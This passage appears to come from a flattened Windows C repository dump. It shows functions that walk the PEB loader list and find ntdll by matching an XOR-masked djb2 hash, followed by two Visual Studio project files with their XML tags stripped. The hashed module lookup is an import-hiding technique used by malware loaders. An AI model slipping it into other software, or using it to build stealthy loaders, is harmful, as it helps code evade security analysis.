PVOID findNtDll(void) { 157 | 158 | PPEB pPeb = NULL; 159 | PPEB_LDR_DATA pLdrData = NULL; 160 | PLDR_DATA_TABLE_ENTRY pModuleEntry = NULL, pModuleStart = NULL; 161 | PUNICODE_STR pDllName = NULL; 162 | 163 | PVOID pNtdllBase = NULL; 164 | 165 | pPeb = (PPEB)__readgsqword(0x60); 166 | pLdrData = pPeb->pLdr; 167 | pModuleEntry = pModuleStart = (PLDR_DATA_TABLE_ENTRY)pLdrData->InMemoryOrderModuleList.Flink; 168 | 169 | do { 170 | 171 | pDllName = &pModuleEntry->BaseDllName; 172 | 173 | if (pDllName->pBuffer == NULL) 174 | return NULL; 175 | 176 | if (djb2_unicode(toLower(pDllName->pBuffer)) == xor_hash(0x6391f6a9)) { 177 | pNtdllBase = (PVOID)pModuleEntry->DllBase; 178 | break; 179 | } 180 | 181 | pModuleEntry = (PLDR_DATA_TABLE_ENTRY)pModuleEntry->InMemoryOrderModuleList.Flink; 182 | 183 | } while (pModuleEntry != pModuleStart); 184 | 185 | return pNtdllBase; 186 | 187 | } 188 | 189 | unsigned long 190 | djb2_unicode(const wchar_t* str) 191 | { 192 | 193 | unsigned long hash = 5381; 194 | DWORD val; 195 | 196 | while (*str != 0) { 197 | val = (DWORD)*str++; 198 | hash = ((hash << 5) + hash) + val; 199 | } 200 | 201 | return hash; 202 | 203 | } 204 | 205 | unsigned long 206 | djb2(unsigned char* str) 207 | { 208 | unsigned long hash = 5381; 209 | int c; 210 | 211 | while ((c = *str++)) 212 | hash = ((hash << 5) + hash) + c; 213 | 214 | return hash; 215 | } 216 | 217 | WCHAR* 218 | toLower(WCHAR* str) 219 | { 220 | 221 | WCHAR* start = str; 222 | 223 | while (*str) { 224 | 225 | if (*str <= L'Z' && *str >= 'A') { 226 | *str += 32; 227 | } 228 | 229 | str += 1; 230 | 231 | } 232 | 233 | return start; 234 | 235 | } 236 | 237 | unsigned long 238 | xor_hash(unsigned long hash) { 239 | return hash ^ HASH_KEY; 240 | } 241 | -------------------------------------------------------------------------------- /HashGenerator/HashGenerator.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {8CAAF7E2-7269-4653-87A2-33B20B5EAECA} 24 | HashGenerator 25 | 10.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v142 32 | Unicode 33 | 34 | 35 | Application 36 | false 37 | v142 38 | true 39 | Unicode 40 | 41 | 42 | Application 43 | true 44 | v142 45 | Unicode 46 | 47 | 48 | Application 49 | false 50 | v142 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | true 74 | 75 | 76 | true 77 | 78 | 79 | false 80 | 81 | 82 | false 83 | 84 | 85 | 86 | Level3 87 | true 88 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 89 | true 90 | 91 | 92 | Console 93 | true 94 | 95 | 96 | 97 | 98 | Level3 99 | true 100 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 101 | true 102 | 103 | 104 | Console 105 | true 106 | 107 | 108 | 109 | 110 | Level3 111 | true 112 | true 113 | true 114 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 115 | true 116 | 117 | 118 | Console 119 | true 120 | true 121 | true 122 | 123 | 124 | 125 | 126 | Level3 127 | true 128 | true 129 | true 130 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 131 | true 132 | 133 | 134 | Console 135 | true 136 | true 137 | true 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | -------------------------------------------------------------------------------- /Sample/Sample.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {E417A056-9215-4325-9629-C85464402C75} 24 | Sample 25 | 10.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v142 32 | Unicode 33 | 34 | 35 | Application 36 | false 37 | v142 38 | true 39 | Unicode 40 | 41 | 42 | Application 43 | true 44 | v142 45 | Unicode 46 | 47 | 48 | Application 49 | false 50 | v142 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | true 78 | 79 | 80 | false 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 102 | true 103 | 104 | 105 | Console 106 | true 107 | 108 | 109 | 110 | 111 | Level3 112 | true 113 | true 114 | true 115 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 116 | true 117 | 118 | 119 | Console 120 | true 121 | true 122 | true 123 | 124 | 125 | 126 | 127 | Level3 128 | true 129 | true 130 | true 131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 132 | true 133 | 134 | 135 | Console 136 | true 137 | true 138 | true 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | Document 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | --------------------------------------------------------------------------------